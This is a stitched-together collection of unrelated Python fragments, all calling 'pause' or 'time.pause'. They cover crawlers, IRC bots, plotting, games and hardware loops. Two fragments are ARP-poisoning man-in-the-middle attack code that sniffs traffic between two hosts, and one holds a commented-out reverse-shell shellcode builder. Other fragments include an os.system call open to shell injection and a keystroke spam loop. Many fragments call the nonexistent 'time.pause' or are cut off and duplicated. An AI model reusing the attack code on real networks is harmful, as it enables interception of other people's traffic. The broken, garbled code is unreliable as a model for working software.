def crawl(web_link): print("getting path for browser driver...") DRIVER_PATH = '/home/tkanten/PyPersonal/Chrome_Driver/chromedriver' driver = webdriver.Chrome(executable_path=DRIVER_PATH) print("crawling!\n\n") file_num = 1 link_count = len(web_link) os.chdir("Photos") for link in web_link: print( f"Downloading {link}, saving as image{file_num}\n[{file_num}/{link_count} accessed]\n\n" ) driver.get(link) img = driver.find_element_by_xpath("/html/body/div[3]/div/img") src = img.get_attribute('src') img = requests.get(src) with open(f"image{file_num}.png", 'wb') as writer: writer.write(img.content) pause(0.5) file_num += 1 driver.close() print("crawling complete! how the f**k did you get this far?")
def get_location_input(self): """ Have the user input their own coordinates for distance tracking.""" try: self.my_lat = float( input( "Enter the latitude for your current location (in decimal form):\n" ).strip()) self.my_long = float( input("Enter your longitude too (in decimal form):\n").strip()) except (TypeError, ValueError): # Reset the values and try again. self.my_lat = 0.0 self.my_long = 0.0 print( "That didn't work.. " "Make sure you enter a number for your longitude or latitude. " "For example: 34.5003\n") self.get_location_input() # If that didn't give us an error, let's keep going. print(f"Great! Your input coordinates are " f"{self.my_lat}° {format_lat_direction(self.my_lat)} by " f"{self.my_long}° {format_lng_direction(self.my_long)}.\n") pause(0.5) # Now we try to show the user where they say they are, based on the database matches. self.get_user_loc_name() pause(1.5)
def send_email(self): send = input("** Send email to [email protected]? (y/n/a): ") print("") while send not in ["y", "n", "a"]: print("Invalid Argument. Try Again.") send = input("** Send email to [email protected]? (y/n/a): ") if send == "y": print("Sending Email...") os.system( "echo '%s' | mail -s 'Bear Chat Log (%s)' [email protected]" % (self.report, self.name)) print("Email Sent.") elif send == "a": email = input("** Enter an alternative email address: ") print("Sending Email...") os.system("echo '%s' | mail -s 'Bear Chat Log (%s)' %s" % (self.report, self.name, email)) time.pause(3) print("Email Sent.") else: print("Email not sent.") self.copy_to_clipboard()
def do8ball(ev=None): try: lcd.clear() time.sleep(0.2) lcd.message("Shake to decide\nwhere to eat!") time.sleep(5) i = 0 bus = smbus.SMBus(1) newData = Accl.Accelerometer() while (newData.change()): x = 0 print(i) i += 1 #Parameters for write_byte_data #1. Address of the device #2. Communication data - active mode control register #3. Our data - 0 (standby mode) or 1 (active) bus.write_byte_data(0x1D, 0x2A, 1) time.sleep(0.5) #Read from the status register, real-time status register 0x00 #Data returned will be an array #Contents of 7 bytes read and stored in data array represent: #status (ignore), MSBx, LSBx, MSBy, LSBy, MSBz, LSBz data = bus.read_i2c_block_data(0x1D, 0x00, 7) MSB_x = data[1] LSB_x = data[2] numberOfBits = 16 xAccl = (MSB_x * 256 + LSB_x) / numberOfBits if xAccl > 2047: xAccl -= 4096 #put register in standbye mode bus.write_byte_data(0x1D, 0x2A, 0) time.sleep(0.2) #print(data) #read in data and convert to realistic values newData = Accl.Accelerometer(data[2], data[4], data[6]) #newData.printCoord() myArray.append(newData) x = rand.randint(0, len(foodArray)) print(foodArray[x]) lcd.clear() time.sleep(0.2) lcd.message(foodArray[x]) time.pause(5) #capture the control c and exit cleanly except (KeyboardInterrupt, SystemExit): print("User requested exit... bye!") for accl in myArray: accl.printCoord()
def run(self): self.args() self.log('Starting') #s = OSShellcodes("WINDOWS", "32bit", '192.168.110.1', 1331) #shellcode_type = "reverse" #shellcode = s.create_shellcode(shellcode_type,encode="xor", make_exe=1,debug=1,filename="payload") ######### MAIN CODE ########### targets = [self.host1, self.host2] self.log('[*] Resolving MAC addresses...') try: MAC = list(map(lambda x: self.LoadMAC(x), targets)) self.log('[+] DONE') except Exception as e: self.log('[!] [FAIL] Failed to resolve MAC adresses : ') self.log(e) sys.exit(1) try: self.log('[*] Enabling IP Forwarding...') self.enable() self.log('[+] DONE') except IOError as e: self.log('[!] [FAIL] Failed to enable IP Forwarding : ') self.log(e) sys.exit(1) #x = threading.Thread(target=self.capture, args=()) #x.start() self.log('[-] Launching Attack...') time_end = time.time() + 60 * self.timer while time.time() < time_end: try: self.log('[*] Poison sent to ' + targets[0] + ' and ' + targets[1]) self.poison(MAC) except Exception as e: self.log('[!] [FAIL] Failed to poison : ' + e) sys.exit(1) pause(2) self.log('[!] Poison finished') os.system('iptables -F -vt raw') #send(IP(src='1.2.3.4',dst=targets[0]),iface=self.interface) #x.join() self.log('[-] Fixing Targets...') for i in range(0, 10): try: self.fix(MAC) except Exception as e: self.log("[!] [FAIL] Failed to fix : ") self.log(e) sys.exit(1) pause(0.5) try: self.log('[*] Disabling IP Fordwarding...') self.disable() self.log('[+] DONE') except IOError: print('[!] [FAIL]') sys.exit(1) self.finish(True)
def download_file(self, params): feed_data_file = self._http.getRequest(self._service, params) if self.check_file_downloadable(feed_data_file.headers): self.save_file_to_folder(feed_data_file) else: print("Trying again in 15 seconds") time.pause(15) self.download_file(params)
def capture(self): packets = sniff( iface=self.interface, filter="(host {target1} or host {target2}) and not arp".format( target1=self.host1, target2=self.host2), stop_filter=lambda x: x[IP].src == '1.2.3.4') file = "captureEAST_" + datetime.now().strftime("%m%d_%H%M") + ".pcap" wrpcap(file, packets) self.log("---> [-] Packets captured on file : " + file) pause(2)
def pause_game(player_sprite): player_sprite.stop() arcade.draw_text( "OPTIONS", consts.SCREEN_WIDTH/2, consts.SCREEN_HEIGHT-200, arcade.color.RED, 24, anchor_x="center", anchor_y="center" ) time.pause()
def expect(command, qas, timeout=TIMEOUT, ignoreExitCode=False): debugOutput("%s: %s" % (command, qas)) try: import pexpect except: debugOutput("No pexpect!") return if smartbox.options.testRun: return debugOutput("spawn(%s)" % command) process = pexpect.spawn(command) if smartbox.options.verbose: process.logfile = sys.stdout for qa in qas: questions = type(qa[0]) == list and qa[0] or [qa[0]] answers = type(qa[1]) == list and qa[1] or [qa[1]] for i in range(0, len(questions)): if questions[i] == None: questions[i] = pexpect.EOF debugOutput("qs %s anws %s" % (questions, answers)) try: debugOutput("expect(%s)" % str(questions)) index = process.expect(questions, timeout=timeout) debugOutput("before: %s; after %s" % (process.before, process.after)) except: raise Exception("Pexpect failed to parse: %s" % str(process)) if answers[index]: debugOutput("sendline(%s)" % answers[index]) process.sendline(answers[index]) #output = process.expect(pexpect.EOF, timeout=timeout) # Hmmm. If we digested the lot, use 'before' to give us some output. output = process.read() or process.before # Check the exit code. if not ignoreExitCode: while process.isalive(): time.pause(0.1) # XXX: This doesn't work yet. if process.exitstatus != 0: raise Exception("Command failed with exit code %s: %s" % (process.exitstatus, command)) return output
def test_runner(self, runspoof, sleepspoof): # Start Runner algo = Algorithm(schedule="30 9 * * *") manager = Manager() manager.add(algo, allocation=1) manager.start() while datetime.datetime.now().time() < datetime.time(9, 30): assert not runspoof.called pause(0.1) pause(1) runspoof.assert_called_once() manager.stop()
def start(): try: # Pass in the name of the folder where you saved the books to, # preferably one that isn't in your root folder where WordCounter.py is. BookCount.folder_loop(input("Input the name of the folder containing your text files.\n" "This folder should be in your root path:\n")) except FileNotFoundError: print(f"Unable to locate a folder with that name. \n" f"Did you spell it correctly, and is your folder located in {pathlib.Path().absolute()}?\n" f"This will be the same directory where you saved this .py file.\n") pause(1) start()
def decode_message(): message = input( "Please enter your secret message to be decoded.\n").lower() if message: decoded_message = "" for char in message: char_index = encoding_key.index(char) decoded_message += decoding_key[char_index] print("Here is your decoded message: " + decoded_message.capitalize()) pause(1) else: print("You cannot enter a blank text, agent. Try again.") decode_message()
def game_pre_flop(table): table.deck.display_deck() print("Shuffling deck.") pause(0.5) for i in range(0, 100): print("[" + ("=" * (i // 2)) + (" " * ((100 - i) // 2)) + "]", end='\r') table.deck.shuffle() pause(0.01) print("[" + ("=" * 50) + "]") print("Deck shuffled.") print("") return
def expect(command, qas, timeout=TIMEOUT, ignoreExitCode=False): debugOutput("%s: %s" % (command, qas)) try: import pexpect except: debugOutput("No pexpect!") return if smartbox.options.testRun: return debugOutput("spawn(%s)" % command) process = pexpect.spawn(command) if smartbox.options.verbose: process.logfile = sys.stdout for qa in qas: questions = type(qa[0]) == list and qa[0] or [qa[0]] answers = type(qa[1]) == list and qa[1] or [qa[1]] for i in range(0, len(questions)): if questions[i] == None: questions[i] = pexpect.EOF debugOutput("qs %s anws %s" % (questions, answers)) try: debugOutput("expect(%s)" % str(questions)) index = process.expect(questions, timeout=timeout) debugOutput("before: %s; after %s" % (process.before, process.after)) except: raise Exception("Pexpect failed to parse: %s" % str(process)) if answers[index]: debugOutput("sendline(%s)" % answers[index]) process.sendline(answers[index]) # output = process.expect(pexpect.EOF, timeout=timeout) # Hmmm. If we digested the lot, use 'before' to give us some output. output = process.read() or process.before # Check the exit code. if not ignoreExitCode: while process.isalive(): time.pause(0.1) # XXX: This doesn't work yet. if process.exitstatus != 0: raise Exception("Command failed with exit code %s: %s" % (process.exitstatus, command)) return output
def set_update_rate(): """ Let user set update rate for location ping. """ try: rate = float( input("Please enter your preferred update rate in seconds, " "then hit enter to start tracking:\n")) print(f"Your update rate is set to once per {rate} seconds.\n") return rate except ValueError: print("\nYou didn't enter a number. Update rate set to 5 seconds.\n") pause(1) return 5
def ShowWindow(time=None): """ Display the current window for a specified time before resuming execution. The default time is infinite. That means execution halts until the window is closed "manually". Precondition: t is a nonegative number. Usage: ShowWindow() ShowWindow(5) """ if time == None: plt.show() else: plt.show(block=False) pause(time)
def notice(self, targets: Union[List[str], str], messages: Union[List[Tuple[str, int]], List[str], str]) -> None: """ TODO: Documentation """ if isinstance(targets, str): targets = [targets] if isinstance(messages, str): messages = [messages] for y in messages: z = 1 if isinstance(y, tuple) and len(y) == 2: y, z = y for x in targets: self._cmd("NOTICE", x, str(y)) pause(z)
def menu(quest, *args): master = tk.Tk() temp = [] for i in range(len(args)): temp.append(args[i]) menu_main(master, quest, *args) global selection pause(1) try: select = selection except NameError: #del selection return None else: del selection return select
def me(self, targets: Union[List[str], str], messages: Union[List[Tuple[str, int]], List[str], str]) -> None: """ TODO: Documentation """ if isinstance(targets, str): targets = [targets] if isinstance(messages, str): messages = [messages] for y in messages: z = 1 if isinstance(y, tuple) and len(y) == 2: y, z = y for x in targets: self._cmd("PRIVMSG", x, "ACTION {}".format(y)) pause(z)
def me(self, target, message): if isinstance(t,basestring): target = [t] else: target = t if isinstance(m,basestring): messages = [m] else: messages = m for x in target: for y in messages: if isinstance(y,tuple) and len(y) == 2: y,z = y else: z = 1 self._cmd("PRIVMSG %s : ACTION %s" % (x, str(y))) pause(z)
def notice(self, t, m): if isinstance(t,basestring): target = [t] else: target = t if isinstance(m,basestring): messages = [m] else: messages = m for x in target: for y in messages: if isinstance(y,tuple) and len(y) == 2: y,z = y else: z = 1 self._cmd("NOTICE %s :%s" % (x, str(y))) pause(z)
def play(self, episodes): ''' plays for epsiodes number of episodes ''' for i in range(1, episodes + 1): done = False state = self.env.reset() plt.imshow(state) plt.axis('off') plt.show() while not done: action = self.select_action(state, 0) state, reward, done, _ = self.env.step(action) display.clear_output(wait=True) plt.imshow(self.env.render()) plt.axis('off') plt.show() time.pause(0.03)
def folder_loop(self, folder_path): """ START HERE: - This will check every file in the specified folder, and pass each text file over to the open_file and count_words methods. """ # Just a simple for loop for every file in the given folder. for file in os.listdir(folder_path): # pass in the current file and the folder path too self.open_file(file, folder_path) self.count_words() # Once the above for loop is done, query to restart. pause(1) print(f"\nWanna check another folder? y/n\n") if input() != 'n': start()
def sweep_voltage(self, time_duration, time_step, chan_in, chan_out, min_v, max_v, v_step): writer = nidaqmx.Task("writer") reader = nidaqmx.Task("reader") writer.ao_voltage_units=10344 writer.ao_output_type=10322 reader.ai_voltage_units=10344 reader.ai_output_type=10322 writer.ao_channels.add_ao_voltage_chan(self.address+"/ao"+str(chan_out)) reader.ai_channels.add_ai_voltage_chan(self.address+"/ai"+str(chan_in)) self.outputting_volts[chan_out] = True writer.start() reader.start() for v in np.linspace(min_v,max_v,(max_v-min_v)/v_step+1): a=writer.write(v) b=reader.read() self.current_output_values[chan_out]=v print((v,b)) time.pause(self.sample_rate) writer.stop() reader.stop() writer.close() reader.close()
def Get_Content(self,link,force_retrying=True,stream=None): """Gets Content from Site and retries for three time in case of failure. You can disable Force Retrying by adding "show_progress=True" in argument while calling the method. """ if force_retrying!=True: if stream==True: page_=self.page.get(link,stream=stream,timeout=4) else: page_=self.page.get(link) return page_ else: for i in range(3): try: if stream==True: page_=self.page.get(link,stream=stream,timeout=4) else: page_=self.page.get(link) return page_ break except requests.exceptions.ConnectionError: print ("\nConnection Error.. \nRetrying",end="") for i in range(3): print (".",end="") pause(1) print("\n\n") except requests.exceptions.ConnectTimeout: print ("\nConnection Timeout.. \nRetrying",end="") for i in range(3): print (".",end="") pause(1) print("\n\n") except Exception as e: print ("\nSomething Went Wrong..Error: {}\nRetrying".format(e),end="") for i in range(3): print (".",end="") pause(1) print("\n\n") else: print ("\nCan't Get Content :(\n")
def reconnect(self) -> None: """ Function that executes an optional connection reset. Closes socket Checks for failed attempt count and stalls connection accordingly If the reconnect config is True it will reconnect, otherwise the connection and thread will end """ if self.socket: self._close(False) print("--- {0}: {1} ---".format(self.config['name'], self.config['host'])) if self.config['verbose']: print("Connection closed.") self._run_hooks('disconnect') if self.ERROR >= 10: print("There have been 10 or more failed attempts to reconnect.") print( "Please wait till the bot is able to do so, then press enter to try again." ) input('Press ENTER to continue') elif self.ERROR: waittime = 30 * self.ERROR + 30 print( f"Error occurred (see stack trace). Waiting {waittime} seconds to reconnect." ) pause(waittime) elif self.config['reconnect']: # input() if self.config['verbose']: print("Waiting 10 seconds to reconnect...") pause(8) if self.config['reconnect']: pause(2) if self.config['verbose']: print("Opening new connection...") return True else: self.ERROR = 0
def reconnect(self): """ Function that executes an optional connection reset. Closes socket Checks for failed attempt count and stalls connection accordingly If the reconnect config is True it will reconnect, otherwise the connection and thread will end """ if self.socket: self._close(False) print("--- %s: %s ---"% ( self.config['name'], self.config['host'] )) if self.config['verbose']: print("Connection closed.") if 'disconnect' in self._hooks: for func in self._hooks['disconnect']: func(self) if self.ERROR >= 10: print("There have been 10 or more failed attempts to reconnect.") print("Please wait till the bot is able to do so, then press enter to try again.") raw_input('Press ENTER to continue') elif self.ERROR: print("Error occurred (see stack trace). Waiting %d seconds to reconnect." %\ (30*self.ERROR+30)) pause(30*self.ERROR+30) elif self.config['reconnect']: # raw_input() if self.config['verbose']: print("Waiting 10 seconds to reconnect...") pause(8) if self.config['reconnect']: pause(2) if self.config['verbose']: print("Opening new connection...") self.connect() else: self.ERROR = 0 return
#!/usr/bin/env python #-*-coding:utf-8-*- import pandas as pd import docx import time from docx2pdf import convert df = pd.read_excel(r"veriler.xlsx", sheet_name="Sayfa1") print("Çalışma Başlıyor...") for it in range(len(df["İsim Soyisim"])): print("\n\n", df["Bildiri İsmi"][it], " için oluşturuluyor.") doc = docx.Document("taslak.docx") doc.paragraphs[6].text = df["İsim Soyisim"][it] doc.paragraphs[7].text = df["Bildiri İsmi"][it] doc.save(df["İsim Soyisim"][it] + " - " + df["Bildiri İsmi"][it][:30] + "..." + ".docx") convert(df["İsim Soyisim"][it] + " - " + df["Bildiri İsmi"][it][:30] + "..." + ".docx") time.pause(100)
import numpy as np import time def plt_dynamic(x, y, ax, colors=['b']): for color in colors: ax.plot(x, y, color) fig.canvas.draw() fig, ax = plt.subplots(1, 1) ax.set_xlabel('X') ax.set_ylabel('Y') #ax.set_xlim(0,360) ; ax.set_ylim(-1,1) xs, ys = [], [] fig.show() a = [1, 2, 3, 4, 5] ax.plot(a, a, 'b') # this is any loop for which you want to plot dynamic updates. # in my case, I'm plotting loss functions for neural nets for x in range(360): y = np.sin(x * np.pi / 180) xs.append(x) ys.append(y) if x % 30 == 0: plt_dynamic(xs, ys, ax) time.sleep(.2) #plt_dynamic(xs, ys, ax) #fig.show() time.pause()
def test_bifurcation(img,x,y,o,core_x,core_y): progress = 1 path_len = 4 pax = 0 pay = 0 pbx = 0 pby = 0 pcx = 0 pcy = 0 pao = 0 pbo = 0 pco = 0 for i in range(1,9): [ta, xa, ya] = p(img, x, y, i) [tb, xb, yb] = p(img, x, y, i + 1) if ta > tb: if pao == 0: if i < 5: pao = 4 + i else: pao = np.mod(4 + i, 9) + 1 pax = xa pay = ya else: if pbo == 0: if i < 5: pbo = 4 + i else: pbo = np.mod(4 + i,9) + 1 pbx = xa pby = ya else: if i < 5: pco = 4 + i else: pco = np.mod(4 + i, 9) + 1 pcx = xa pcy = ya break xaa = 0 yaa = 0 xbb = 0 ybb = 0 xcc = 0 ycc = 0 hist = np.array([[pay,pax],[pby, pbx], [pcy,pcx],[y,x]]) stop = False while progress < path_len and not False: progress = progress + 1 da = 0 db = 0 dc = 0 if pao != 0: i = 1 cn = 0 for ii in range(1,9): [t1, x_A, y_A] = p(img, pax, pay, ii) [t2, x_B, y_B] = p(img, pax, pay, ii + 1) cn = cn + abs(t1 - t2) cn = cn/2.0 if cn == 1 or cn == 3: stop = True while i < 9 and da == 0: [ta, xa, ya] = p(img, pax, pay, i) [tz, xz, yz] = p(img, pax, pay, i + 1) ind_y = np.where(hist[:,0] == ya)[0] ind_x = np.where(hist[ind_y,1] == xa)[0] if ind_x.size > 0: i = i + 1 continue if ta > tz and (xa != x or xa != y): pax = xa pay = ya hist = np.vstack([hist, np.array([pay,pax])]) da = 1 xaa = xa yaa = ya i = i + 1 if da == 0: break if pbo != 0 and not stop: cn = 0 for ii in range(1,9): [t1, x_A, y_A] = p(img, pbx,pby,ii) [t2, x_B, y_B] = p(img, pbx, pby, ii + 1) cn = cn + abs(t1 - t2) cn = cn/2.0 if cn == 1 or cn == 3: stop = True i = 1 while i < 9 and db == 0: [ta,xa,ya] = p(img, pbx, pby, i) [tz,xz,yz] = p(img, pbx, pby, i + 1) ind_y = np.where(hist[:,0] == ya)[0] ind_x = np.where(hist[ind_y,1] == xa)[0] if ind_x.size > 0: i = i + 1 continue if ta > tz and (xa != x or xa != y): pbx = xa pby = ya hist = np.vstack([hist,[pby,pbx]]) db = 1 xbb = xa ybb = ya i = i + 1 if pco != 0 and not stop: cn = 0 for ii in range(1,9): [ta, x_A, y_A] = p(img, pcx, pcy, ii) [tz, x_B, y_B] = p(img, pcx, pcy, ii+1) cn = cn + abs(t1 - t2) cn = cn/2.0 if cn == 1 or cn == 3: stop = True i = 1 while i < 9 and dc == 0: [ta, xa, ya] = p(img, pcx, pcy, i) [tz, xz, yz] = p(img, pcx, pcy, i + 1) ind_y = np.where(hist[:,0] == ya)[0] ind_x = np.where(hist[ind_y,1] == xa)[0] if ind_x.size > 0: i = i + 1 continue if ta > tz and (xa != x or xa != y): pcx = xa pcy = ya hist = np.vstack([hist, np.array([pcy,pcx])]) dc = 1 xcc = xa ycc = ya i = i + 1 t1 = np.tile(np.array([xaa,yaa]),[1,1]).transpose() t2 = np.tile(np.array([xbb,ybb]),[1,1]).transpose() t3 = np.tile(np.array([xcc,ycc]),[1,1]).transpose() d1 = np.sqrt(dist2(t1,t2)) d2 = np.sqrt(dist2(t1,t3)) d3 = np.sqrt(dist2(t3,t2)) if d1 >= d3 and d2 >= d3: sx = xaa sy = yaa ind = pao elif d1 >= d2 and d3 >= d2: sx = xbb sy= ybb ind = pbo elif d3 >= d1 and d2 >= d1: sx = xcc sy = ycc ind = pco else: time.pause() t1 = np.tile(np.array([xaa,yaa]),[1,1]).transpose() l1 = np.tile(np.array([xbb,ybb]),[1,1]).transpose() r1 = np.tile(np.array([xcc,ycc]),[1,1]).transpose() t2 = np.tile(np.array([core_x,core_y]),[1,1]).transpose() d1 = np.sqrt(dist2(t1,t2)) d2 = np.sqrt(dist2(l1,t2)) d3 = np.sqrt(dist2(r1,t2)) qx = 0 qy = 0 diff = 0 if d1 >= d2 and d1 >= d3: qx = xaa qy = yaa ind = pao elif d2 >= d3 and d2 >= d1: qx = xbb qy = ybb ind = pbo elif d3 >= d2 and d3 >= d1: qx = xcc qy = ycc ind = pco else: time.pause angle = np.mod(math.atan2(y - sy, sx - x),2*math.pi) res = 3 return res, progress, sx, sy, angle
def pause(self, time: int = 1) -> None: """ TODO: Documentation """ pause(time)
boccat = soup.find_all("a", "cursorpointer alertCheck") #Busco el tag "ul" con class= "sub" category_links = [BASE_URL + tag["hreflang"] for tag in boccat] return category_links def get_category_siblings(link_url): soup2 = make_soup(link_url) prod_list = soup2.find("div", class_="pages-search").find("div", class_ = "pages-shopping").find("p", class_ = "info") #Busco el tag "p" con class= "prod_referencia" num2str= prod_list.contents[3].encode('utf-8')[prod_list.contents[3].encode('utf-8').find(">")+1:prod_list.contents[3].encode('utf-8').find("<",8)] return int(num2str) if __name__ == '__main__': data = [] links = [] tod = datetime.datetime.now().strftime("%Y-%m-%d") food_n_drink = ("http://www.lider.cl" "/dys/catalog/categoryFood.jsp?id=CF_Nivel0_000001&navAction=jump") l = open(tod+'_Links_Lider.txt', 'w') categories = get_category_links(food_n_drink) for category in categories: try: pages = get_category_siblings(category) if category.find("navCount")!=-1: print category links.append(category + "&goToPage=1&pageSize=" + str(pages)) time.pause(5) except AttributeError: pass for link in links: l.write("%s\n" % link)
from math import sqrt number = int(input("Enter a number: ")) print(sqrt(number)) """ =========== Exercise 2 ============= import the sleep function from the time module as pause and run pause(5) """ from time import sleep as pause def pause() print("starting pause") pause(5) print("completed pause") """ =========== Exercise 3 (question) ============= import the sleep function from the time module as pause. Write a function called pause() that takes an argument and prints it. Which pause() will be called, and why? """
elif not(k % plotModulo): # Update the figure print('k =',k) # Clear the previous plots ax1.clear() ax2.clear() # Replot the update ax1.plot(x_est,'.') ax1.set_title('x_est for iteration: ' + str(k)) ax2.loglog(J,'b') # Draw and Pause fig.canvas.draw() pause(5e-2) elif not(k % plotModulo): # Just to make sure that everything is running print('k =',k) # Remove Circular Artifact # Algorithm always places a signal at index-m, x_est[-1] = 0 # same thing as x_est(end) # Calculate L0-norm difference # Form a single vector for the result true_x = zeros(x.shape) x_est_prime = zeros(x.shape) true_x[x > spacing(1)] = 1 # Note, in Python spacing(1) is used in place of eps threshold = (mean(x_est) + 0.5*std(x_est)) x_est_prime[x_est > threshold] = 1
def pause(self, time=1): pause(time)
from pyautogui import * from time import sleep as pause from random import choice messages = [] times = int(input("Number of messages:")) for i in range(times): messages.append(input("What you want to say?")) time = input("Delay? (0 for nothing)") while True: if (time != ''): if ('-' in time): time = 0 break if ("." in time): time = float(time) break elif (not "." in time): time = int(time) break if (time == ''): time = 0 break while True: if (time == 0): write(choice(messages)) press("enter") if (time != 0): write(choice(messages)) press("enter") pause(time)
import sys import time import numpy as np from scipy import stats import os # import the Grip class sys.path.insert(1, '../misc/') import Grip # print start-up information print('McKAHN ARM COMBO PROGRAM') print('To train the arm to work for you, start with classify_myo.py') print('Press \'^C\' to stop this program') print('Stopping for 3 seconds') time.pause(3) #****************************************************************************** #************************ Initialize objrec details *************************** class Grabby: def __init__(self, objID, objConf): self.id = objID self.conf = objConf # load the object detection model net = ji.detectNet("ssd-mobilenet-v2", threshold=0.5) # set the camera settings camera = ju.gstCamera(1280, 720, "0") # for mipi, use either "0" or "1"
def dload(link,file_name,show_progress): file_=self.Get_Content(link,stream=True) if file_!=None: if not file_.ok: print ("\nCan't Download File!\nResponse:\n{}".format(file_.content)) if show_progress==True: print ("\nDownloading {}..".format(file_name)) total_length=file_.headers.get('content-length') if total_length is None: print ("\nCan't Show Progress Bar while Downloading it.. :|") else: with open(file_name,"wb") as f: dl = 0 per=0.0 total_length = int(total_length) for i in range(3): try: for data in file_.iter_content(chunk_size=4096): dl += len(data) f.write(data) done = int(50 * dl / total_length) per=100.0 * (dl/total_length) print(("%.2f" % per)+"% "+"[%s%s]" % ('=' * done, ' ' * (50-done)),end="\r") print ("\nFile Downloaded Successfully!\n") break except requests.exceptions.ConnectionError: print ("\nConnection Error.. \nRetrying",end="") for i in range(3): print (".",end="") pause(1) print("\n\n") except requests.exceptions.ConnectTimeout: print ("\nConnection Timeout.. \nRetrying",end="") for i in range(3): print (".",end="") pause(1) print("\n\n") except Exception as e: print ("\nSomething Went Wrong..Error: {}\nRetrying".format(e),end="") for i in range(3): print (".",end="") pause(1) print("\n\n") else: print ("\nDownloading {}..".format(file_name)) for i in range(3): try: with open(file_name,"wb") as f: for data in file_.iter_content(chunk_size=4096): f.write(data) print ("\nFile Downloaded Successfully!\n") break except requests.exceptions.ConnectionError: print ("\nConnection Error.. \nRetrying",end="") for i in range(3): print (".",end="") pause(1) print("\n\n") except requests.exceptions.ConnectTimeout: print ("\nConnection Timeout.. \nRetrying",end="") for i in range(3): print (".",end="") pause(1) print("\n\n") except Exception as e: print ("\nSomething Went Wrong..Error: {}\nRetrying".format(e),end="") for i in range(3): print (".",end="") pause(1) print("\n\n") else: print ("\nUnable to Download file.. :(")
def debug(texte): """Affiche la chaîne de caractère reçue si le programme est en mode deboggage. """ if deboggage == True: print(str(texte)) # Début du programme q = Questionnaire(source, separateur, nbre_questions) # Affichage des questions print(" QUESTIONS ".center(80, '=')) for el in q.elements: print("Question {} : {}".format(el.numero, el.question)) # Petite pause pause(temps_pause) # Séparation avec la suite du programme print("".center(80, '-')) # Attente d'interaction avec l'utilisateur input("Appuie sur Entrée dès que tu voudras afficher les réponses correspondantes.") # Affichage des réponses print(" REPONSES ".center(80, '=')) for el in q.elements: print("Question {} : {}".format(el.numero, el.reponse)) # Séparation avec la suite du programme print("".center(80, '-'))
else: # Update the figure print('k =',k) # Clear the previous plots ax1.clear() ax2.clear() # Replot the update ax1.plot(x_est,'.') ax1.set_title('x_est for iteration: ' + str(k)) ax2.loglog(P,'b') # Draw and Pause fig.canvas.draw() pause(1e-2) else: # Just to make sure that everything is running print('k =',k) # Plot the results plt.figure(2) plt.plot(z,'k.',label='noisy measurements') plt.plot(x_est,'b-',label='a posteri estimate') plt.plot(x,'g',label='true value') plt.legend() plt.xlabel('Iteration') plt.ylabel('Estimate') plt.title('Online Estimate for x \n' + 'Using first order Kalman Filter') plt.show(block = False)
except KeyboardInterrupt: sys.exit(1) print c + '[*]' + w + ' Launching Attack...\n' while 1: try: try: Attack(targets, args.interface).send_Poison(MACs) except Exception: print r + '[!] Failed to Send Poison' sys.exit(1) if not args.quiet: print g + '[*]' + w + 'Poison Sent to %s and %s' % (targets[0], targets[1]) else: pass pause(2.5) except KeyboardInterrupt: break print y + '\n[*] Fixing Targets...', sys.stdout.flush() for i in range(0, 16): try: Attack(targets, args.interface).send_Fix(MACs) except (Exception, KeyboardInterrupt): print r + '[FAIL]' sys.exit(1) pause(2) print g + '[DONE]' try: if args.forward: print c + '[*]' + w + ' Disabling IP Forwarding...',